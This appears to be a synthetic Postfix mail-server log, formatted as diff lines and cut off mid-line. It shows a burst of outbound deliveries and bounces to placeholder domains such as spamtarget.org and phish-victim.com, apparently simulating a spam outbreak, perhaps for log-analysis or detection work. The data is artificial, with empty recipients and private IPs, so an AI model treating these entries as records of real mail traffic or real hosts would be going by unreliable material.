postfix/smtp[10417]: B2B7B64334: to=, relay=none, delay=0.23, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:32:35 mail-server-prod postfix/smtp[13710]: 27105B82DA: to=, relay=none, delay=0.42, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:32:35 mail-server-prod postfix/smtp[11122]: 9183274BF9: to=, relay=none, delay=0.15, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:32:35 mail-server-prod postfix/smtp[13107]: 1762C64813: to=, relay=mx.fakedomain.co.uk[192.168.30.165]:25, delay=2.33, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:40 mail-server-prod postfix/smtp[10369]: F22C7E85AA: to=, relay=mx.spamtarget.org[192.168.177.121]:25, delay=3.97, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:40 mail-server-prod postfix/smtp[10955]: EFEA226B4E: to=, relay=mx.spamtarget.org[192.168.162.49]:25, delay=4.37, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:40 mail-server-prod postfix/smtp[13660]: 1A4F5AFE2D: to=, relay=mx.getrichquick.info[192.168.245.143]:25, delay=3.26, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:40 mail-server-prod postfix/smtp[11394]: AA6C142649: to=, relay=mx.example.com[192.168.132.239]:25, delay=1.35, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:45 mail-server-prod postfix/smtp[10817]: 7DA39526A1: to=, relay=mx.example.com[192.168.187.81]:25, delay=1.03, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:45 mail-server-prod postfix/smtp[13068]: 04614E4395: to=, relay=mx.spamtarget.org[192.168.186.129]:25, delay=3.71, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:45 mail-server-prod postfix/smtp[12735]: BF6689D4B5: to=, relay=mx.getrichquick.info[192.168.64.25]:25, delay=2.33, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:45 mail-server-prod postfix/smtp[12181]: DA78AF92A9: to=, relay=mx.randomsite.biz[192.168.202.254]:25, delay=4.45, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:45 mail-server-prod postfix/smtp[14681]: 27404B31CE: to=, relay=mx.spamtarget.org[192.168.68.6]:25, delay=2.65, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:45 mail-server-prod postfix/smtp[12505]: 9858BF7C4E: to=, relay=mx.spamtarget.org[192.168.103.114]:25, delay=1.32, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:45 mail-server-prod postfix/smtp[12975]: 03BE08FFF3: to=, relay=none, delay=0.39, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=randomsite.biz type=A: Host not found) +Aug 12 14:32:45 mail-server-prod postfix/smtp[12965]: 4AECEF4CC3: to=, relay=none, delay=0.18, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:32:50 mail-server-prod postfix/smtp[11983]: 7E064ACDBE: to=, relay=mx.example.com[192.168.28.243]:25, delay=3.45, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:50 mail-server-prod postfix/smtp[12757]: C6DF53D034: to=, relay=mx.fakedomain.co.uk[192.168.58.231]:25, delay=2.12, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:50 mail-server-prod postfix/smtp[11331]: 1E6EF7F85C: to=, relay=mx.example.com[192.168.87.60]:25, delay=2.81, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:50 mail-server-prod postfix/smtp[12817]: 4CFEC4D6C0: to=, relay=mx.example.com[192.168.100.16]:25, delay=2.05, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:50 mail-server-prod postfix/smtp[14754]: 3195BFC995: to=, relay=mx.spamtarget.org[192.168.169.254]:25, delay=1.12, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:50 mail-server-prod postfix/smtp[12812]: 49233BA4BE: to=, relay=none, delay=0.47, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:32:50 mail-server-prod postfix/smtp[10847]: 88BB6D70C3: to=, relay=mx.fakedomain.co.uk[192.168.160.42]:25, delay=1.98, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:55 mail-server-prod postfix/smtp[10444]: 5A00365279: to=, relay=none, delay=0.38, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:32:55 mail-server-prod postfix/smtp[12518]: 5687A5F7B2: to=, relay=mx.getrichquick.info[192.168.94.193]:25, delay=4.87, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:55 mail-server-prod postfix/smtp[11929]: 9A1F2619F2: to=, relay=mx.phish-victim.com[192.168.78.26]:25, delay=1.57, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:55 mail-server-prod postfix/smtp[13411]: 56E6A2D4CD: to=, relay=mx.spamtarget.org[192.168.162.81]:25, delay=4.21, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:55 mail-server-prod postfix/smtp[12642]: E71B0B2D92: to=, relay=mx.example.com[192.168.244.81]:25, delay=3.43, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:55 mail-server-prod postfix/smtp[12784]: CABEB66E3F: to=, relay=mx.junkmail.net[192.168.238.50]:25, delay=3.22, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:55 mail-server-prod postfix/smtp[14730]: F9E9C1499C: to=, relay=mx.junkmail.net[192.168.206.82]:25, delay=1.49, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:55 mail-server-prod postfix/smtp[13774]: 61DC168603: to=, relay=mx.spamtarget.org[192.168.239.93]:25, delay=3.39, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:00 mail-server-prod postfix/smtp[10452]: 03CAA0307B: to=, relay=mx.randomsite.biz[192.168.11.235]:25, delay=2.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:00 mail-server-prod postfix/smtp[11620]: A37E51EDDD: to=, relay=mx.getrichquick.info[192.168.85.82]:25, delay=1.1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:00 mail-server-prod postfix/smtp[14886]: C207D74DA9: to=, relay=mx.getrichquick.info[192.168.168.13]:25, delay=2.07, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:00 mail-server-prod postfix/smtp[11746]: 38F17B684B: to=, relay=mx.fakedomain.co.uk[192.168.192.150]:25, delay=2.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:00 mail-server-prod postfix/smtp[12328]: 5987CFE6D7: to=, relay=none, delay=0.4, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:33:00 mail-server-prod postfix/smtp[10368]: 320FF28457: to=, relay=none, delay=0.18, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:33:00 mail-server-prod postfix/smtp[12701]: BF77FFE52F: to=, relay=none, delay=0.31, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:33:05 mail-server-prod postfix/smtp[11382]: 30C000D3FA: to=, relay=none, delay=0.29, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:33:05 mail-server-prod postfix/smtp[13329]: 0542AA49CC: to=, relay=mx.fakedomain.co.uk[192.168.85.5]:25, delay=1.21, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:05 mail-server-prod postfix/smtp[11517]: 144CF19C58: to=, relay=mx.randomsite.biz[192.168.50.197]:25, delay=2.04, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:05 mail-server-prod postfix/smtp[12598]: 49A5C2A529: to=, relay=mx.spamtarget.org[192.168.103.111]:25, delay=2.02, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:05 mail-server-prod postfix/smtp[10840]: 066DB2A083: to=, relay=mx.fakedomain.co.uk[192.168.155.32]:25, delay=4.73, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:05 mail-server-prod postfix/smtp[14163]: 79F5236045: to=, relay=mx.getrichquick.info[192.168.221.104]:25, delay=1.49, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:05 mail-server-prod postfix/smtp[10755]: B4E59637CD: to=, relay=mx.randomsite.biz[192.168.121.12]:25, delay=2.27, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:05 mail-server-prod postfix/smtp[13399]: EEBA907CE3: to=, relay=mx.randomsite.biz[192.168.47.30]:25, delay=4.07, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:10 mail-server-prod postfix/smtp[14686]: E465C66185: to=, relay=mx.fakedomain.co.uk[192.168.124.132]:25, delay=3.48, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:10 mail-server-prod postfix/smtp[11811]: D94BA28334: to=, relay=mx.example.com[192.168.185.225]:25, delay=1.77, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:10 mail-server-prod postfix/smtp[10941]: 183413A9B3: to=, relay=mx.fakedomain.co.uk[192.168.216.108]:25, delay=2.67, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:10 mail-server-prod postfix/smtp[10653]: D4F5C17010: to=, relay=mx.phish-victim.com[192.168.106.117]:25, delay=1.33, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:10 mail-server-prod postfix/smtp[12396]: 0B9C14CA86: to=, relay=mx.randomsite.biz[192.168.237.11]:25, delay=4.82, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:10 mail-server-prod postfix/smtp[14706]: 0BD378F729: to=, relay=mx.fakedomain.co.uk[192.168.116.2]:25, delay=4.29, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[11168]: B717D04B23: to=, relay=mx.spamtarget.org[192.168.220.233]:25, delay=2.73, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[10270]: 664A18409A: to=, relay=mx.fakedomain.co.uk[192.168.110.215]:25, delay=4.78, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[14316]: 4EF441A178: to=, relay=mx.example.com[192.168.149.26]:25, delay=3.62, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[12614]: 23D9F4988C: to=, relay=mx.junkmail.net[192.168.242.24]:25, delay=3.63, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[13855]: 6DB64B6E7E: to=, relay=mx.phish-victim.com[192.168.182.248]:25, delay=2.65, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[13604]: 147B666814: to=, relay=mx.junkmail.net[192.168.38.146]:25, delay=2.47, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[10325]: A483C7A12D: to=, relay=mx.getrichquick.info[192.168.52.11]:25, delay=1.26, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:15 mail-server-prod postfix/smtp[10919]: 7FA682DFE3: to=, relay=mx.junkmail.net[192.168.228.50]:25, delay=3.31, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:20 mail-server-prod postfix/smtp[13648]: 09E9066C71: to=, relay=mx.phish-victim.com[192.168.249.69]:25, delay=3.64, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:20 mail-server-prod postfix/smtp[11931]: DA88E7C3A7: to=, relay=none, delay=0.38, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:33:20 mail-server-prod postfix/smtp[10987]: A15BF8DB9F: to=, relay=mx.junkmail.net[192.168.74.88]:25, delay=4.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:20 mail-server-prod postfix/smtp[11130]: B4607D4C4F: to=, relay=mx.junkmail.net[192.168.45.175]:25, delay=3.36, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:20 mail-server-prod postfix/smtp[10507]: 45395769AC: to=, relay=mx.phish-victim.com[192.168.48.231]:25, delay=3.86, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:20 mail-server-prod postfix/smtp[14547]: 37D2BB7661: to=, relay=mx.junkmail.net[192.168.41.38]:25, delay=4.65, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:20 mail-server-prod postfix/smtp[12910]: 5573E803A3: to=, relay=mx.fakedomain.co.uk[192.168.25.246]:25, delay=2.57, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:20 mail-server-prod postfix/smtp[10693]: 5F32F330EE: to=, relay=none, delay=0.35, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:33:25 mail-server-prod postfix/smtp[14450]: 295FE37C39: to=, relay=none, delay=0.13, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=randomsite.biz type=A: Host not found) +Aug 12 14:33:25 mail-server-prod postfix/smtp[11536]: C45D6657C5: to=, relay=mx.phish-victim.com[192.168.65.109]:25, delay=2.94, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:25 mail-server-prod postfix/smtp[10875]: 2C19FD3EEB: to=, relay=mx.getrichquick.info[192.168.251.90]:25, delay=3.14, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:25 mail-server-prod postfix/smtp[12256]: C783474B51: to=, relay=mx.example.com[192.168.62.95]:25, delay=2.25, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:25 mail-server-prod postfix/smtp[12851]: BF8EC92C5E: to=, relay=mx.junkmail.net[192.168.179.152]:25, delay=3.34, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:25 mail-server-prod postfix/smtp[14996]: A49657A025: to=, relay=mx.spamtarget.org[192.168.118.220]:25, delay=3.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:30 mail-server-prod postfix/smtp[13540]: 78DB9A8E53: to=, relay=mx.getrichquick.info[192.168.34.158]:25, delay=2.09, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:30 mail-server-prod postfix/smtp[12396]: E29EC69697: to=, relay=mx.example.com[192.168.43.223]:25, delay=1.82, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:30 mail-server-prod postfix/smtp[12966]: 3C8919163E: to=, relay=none, delay=0.45, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:33:30 mail-server-prod postfix/smtp[14870]: 024FD1EF79: to=, relay=none, delay=0.21, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=getrichquick.info type=A: Host not found) +Aug 12 14:33:30 mail-server-prod postfix/smtp[12371]: 86EC68B623: to=, relay=mx.spamtarget.org[192.168.143.86]:25, delay=4.31, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:35 mail-server-prod postfix/smtp[12940]: EDB58E11D7: to=, relay=mx.fakedomain.co.uk[192.168.151.50]:25, delay=1.99, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:35 mail-server-prod postfix/smtp[10688]: 5346B00F2B: to=, relay=mx.spamtarget.org[192.168.248.99]:25, delay=4.87, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:35 mail-server-prod postfix/smtp[11239]: CD889A6372: to=, relay=none, delay=0.1, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:33:35 mail-server-prod postfix/smtp[12504]: 33691A4BDE: to=, relay=mx.randomsite.biz[192.168.247.184]:25, delay=4.1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:40 mail-server-prod postfix/smtp[13799]: 005A074DAA: to=, relay=mx.fakedomain.co.uk[192.168.101.245]:25, delay=4.67, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:40 mail-server-prod postfix/smtp[10607]: 2F3D703638: to=, relay=mx.example.com[192.168.4.103]:25, delay=1.54, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:40 mail-server-prod postfix/smtp[12911]: 68A904DD54: to=, relay=mx.phish-victim.com[192.168.135.75]:25, delay=2.24, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:40 mail-server-prod postfix/smtp[11772]: 7DE500EA78: to=, relay=mx.getrichquick.info[192.168.209.7]:25, delay=1.54, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:40 mail-server-prod postfix/smtp[13095]: 71437CB451: to=, relay=mx.randomsite.biz[192.168.248.47]:25, delay=1.93, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:45 mail-server-prod systemd[1]: Starting daily clean up activities... +Aug 12 14:33:45 mail-server-prod postfix/smtp[10480]: B78537B494: to=, relay=mx.example.com[192.168.224.204]:25, delay=3.46, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:45 mail-server-prod postfix/smtp[14116]: 56DB1778D6: to=, relay=mx.randomsite.biz[192.168.99.45]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:45 mail-server-prod postfix/smtp[13205]: 54871964B1: to=, relay=mx.junkmail.net[192.168.234.126]:25, delay=1.19, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:45 mail-server-prod postfix/smtp[12915]: 8B4D1C4933: to=, relay=mx.phish-victim.com[192.168.96.138]:25, delay=4.34, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:45 mail-server-prod postfix/smtp[11645]: 52A701D901: to=, relay=mx.phish-victim.com[192.168.198.168]:25, delay=1.51, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:45 mail-server-prod postfix/smtp[13242]: 0A9BD43193: to=, relay=mx.getrichquick.info[192.168.102.47]:25, delay=4.91, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:45 mail-server-prod postfix/smtp[14688]: 1A93EB2788: to=, relay=mx.example.com[192.168.14.143]:25, delay=3.25, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[13917]: BF8EEC7150: to=, relay=mx.phish-victim.com[192.168.172.236]:25, delay=2.79, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[11597]: 387EF73B27: to=, relay=mx.phish-victim.com[192.168.82.80]:25, delay=2.11, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[13769]: 6CE0ABDB90: to=, relay=mx.junkmail.net[192.168.234.37]:25, delay=1.92, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[14540]: 04710594DA: to=, relay=mx.example.com[192.168.147.86]:25, delay=3.55, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[14586]: 952A608275: to=, relay=mx.fakedomain.co.uk[192.168.78.223]:25, delay=4.45, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[11747]: EE4D8D14B8: to=, relay=mx.junkmail.net[192.168.12.81]:25, delay=2.29, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[10227]: 54B6EF06EE: to=, relay=mx.randomsite.biz[192.168.36.76]:25, delay=2.44, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:50 mail-server-prod postfix/smtp[10121]: 1CA02FF088: to=, relay=mx.phish-victim.com[192.168.18.101]:25, delay=4.74, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:55 mail-server-prod postfix/smtp[10426]: B835796B80: to=, relay=mx.junkmail.net[192.168.66.15]:25, delay=3.48, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:55 mail-server-prod postfix/smtp[13519]: 98EEEC6482: to=, relay=mx.randomsite.biz[192.168.54.15]:25, delay=2.05, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:55 mail-server-prod postfix/smtp[13799]: EB45CB44C9: to=, relay=mx.fakedomain.co.uk[192.168.99.29]:25, delay=3.45, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:33:55 mail-server-prod postfix/smtp[14552]: 5D2E8FE43E: to=, relay=none, delay=0.26, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:33:55 mail-server-prod postfix/smtp[14010]: 239116FF83: to=, relay=mx.example.com[192.168.94.28]:25, delay=4.99, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[14217]: B3DEC3A124: to=, relay=mx.phish-victim.com[192.168.101.198]:25, delay=3.1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[12400]: 7B112EDB0E: to=, relay=mx.example.com[192.168.220.187]:25, delay=1.35, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[14363]: 93B82F8F5E: to=, relay=mx.junkmail.net[192.168.75.157]:25, delay=1.49, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[14211]: 550E5016CE: to=, relay=mx.fakedomain.co.uk[192.168.221.68]:25, delay=2.43, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[14950]: 1B5762E3C5: to=, relay=mx.junkmail.net[192.168.198.139]:25, delay=3.96, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[10733]: 69DD8D3DB6: to=, relay=mx.getrichquick.info[192.168.28.16]:25, delay=2.81, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[14487]: ED5FE12DF2: to=, relay=mx.junkmail.net[192.168.38.44]:25, delay=1.02, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:00 mail-server-prod postfix/smtp[11467]: 820E871372: to=, relay=mx.junkmail.net[192.168.62.77]:25, delay=2.74, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:05 mail-server-prod postfix/smtp[14043]: 3C77EDD8FD: to=, relay=mx.phish-victim.com[192.168.112.84]:25, delay=4.82, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:05 mail-server-prod postfix/smtp[13218]: 40E55D8177: to=, relay=mx.phish-victim.com[192.168.214.104]:25, delay=3.96, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:05 mail-server-prod postfix/smtp[12893]: 783BDA1DB9: to=, relay=mx.fakedomain.co.uk[192.168.87.46]:25, delay=4.26, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:05 mail-server-prod postfix/smtp[10116]: DAEC945DE6: to=, relay=mx.fakedomain.co.uk[192.168.248.76]:25, delay=3.01, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:05 mail-server-prod postfix/smtp[11119]: B2C4D71A35: to=, relay=none, delay=0.23, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:34:05 mail-server-prod postfix/smtp[10199]: D5B7FBBB77: to=, relay=mx.randomsite.biz[192.168.16.140]:25, delay=1.44, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:05 mail-server-prod postfix/smtp[11168]: F8ECB28CBA: to=, relay=mx.example.com[192.168.194.138]:25, delay=2.69, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:05 mail-server-prod postfix/smtp[12314]: C3BEF50A17: to=, relay=mx.phish-victim.com[192.168.191.217]:25, delay=3.21, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:10 mail-server-prod CRON[8649]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:34:10 mail-server-prod postfix/smtp[13884]: 7E5AFE98BB: to=, relay=mx.randomsite.biz[192.168.176.131]:25, delay=2.18, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:10 mail-server-prod postfix/smtp[14613]: F18A737613: to=, relay=none, delay=0.25, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:34:10 mail-server-prod postfix/smtp[13671]: F538466503: to=, relay=none, delay=0.46, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:34:10 mail-server-prod postfix/smtp[12944]: A74514E924: to=, relay=mx.example.com[192.168.84.169]:25, delay=4.44, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:10 mail-server-prod postfix/smtp[13674]: 342FF5968D: to=, relay=mx.spamtarget.org[192.168.102.235]:25, delay=2.87, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:10 mail-server-prod postfix/smtp[13381]: 1CC280E5BB: to=, relay=mx.example.com[192.168.7.81]:25, delay=1.35, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[10071]: 6A41F11D84: to=, relay=mx.example.com[192.168.143.88]:25, delay=4.63, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[11687]: A89FD9305B: to=, relay=mx.getrichquick.info[192.168.185.27]:25, delay=1.66, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[13405]: 026A98BD24: to=, relay=mx.spamtarget.org[192.168.36.101]:25, delay=4.14, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[11462]: F95A1CD568: to=, relay=mx.junkmail.net[192.168.187.205]:25, delay=4.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[10447]: C6C71016D2: to=, relay=mx.getrichquick.info[192.168.151.10]:25, delay=2.75, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[11540]: 4AA2AD50B8: to=, relay=mx.phish-victim.com[192.168.231.19]:25, delay=2.76, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[11487]: 48C94D8BDA: to=, relay=mx.example.com[192.168.148.77]:25, delay=2.52, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:15 mail-server-prod postfix/smtp[11613]: A06FC61399: to=, relay=mx.example.com[192.168.194.218]:25, delay=4.05, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:20 mail-server-prod postfix/smtp[13937]: 441B61DFF5: to=, relay=mx.spamtarget.org[192.168.184.229]:25, delay=2.52, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:20 mail-server-prod postfix/smtp[11197]: A6AEEED8E9: to=, relay=mx.junkmail.net[192.168.242.104]:25, delay=1.97, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:20 mail-server-prod postfix/smtp[10970]: 33D137AF42: to=, relay=none, delay=0.2, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:34:20 mail-server-prod postfix/smtp[11937]: 49AECDB021: to=, relay=mx.example.com[192.168.212.190]:25, delay=4.73, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:25 mail-server-prod postfix/smtp[13361]: E04C571CC7: to=, relay=mx.randomsite.biz[192.168.111.21]:25, delay=2.32, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:25 mail-server-prod postfix/smtp[10033]: 4F6D714279: to=, relay=mx.randomsite.biz[192.168.150.186]:25, delay=1.18, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:25 mail-server-prod postfix/smtp[12634]: 7956864955: to=, relay=none, delay=0.41, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:34:25 mail-server-prod postfix/smtp[11911]: C6502890A7: to=, relay=mx.example.com[192.168.254.53]:25, delay=4.72, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:25 mail-server-prod postfix/smtp[11529]: 46B599F99C: to=, relay=mx.example.com[192.168.26.216]:25, delay=1.26, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:25 mail-server-prod 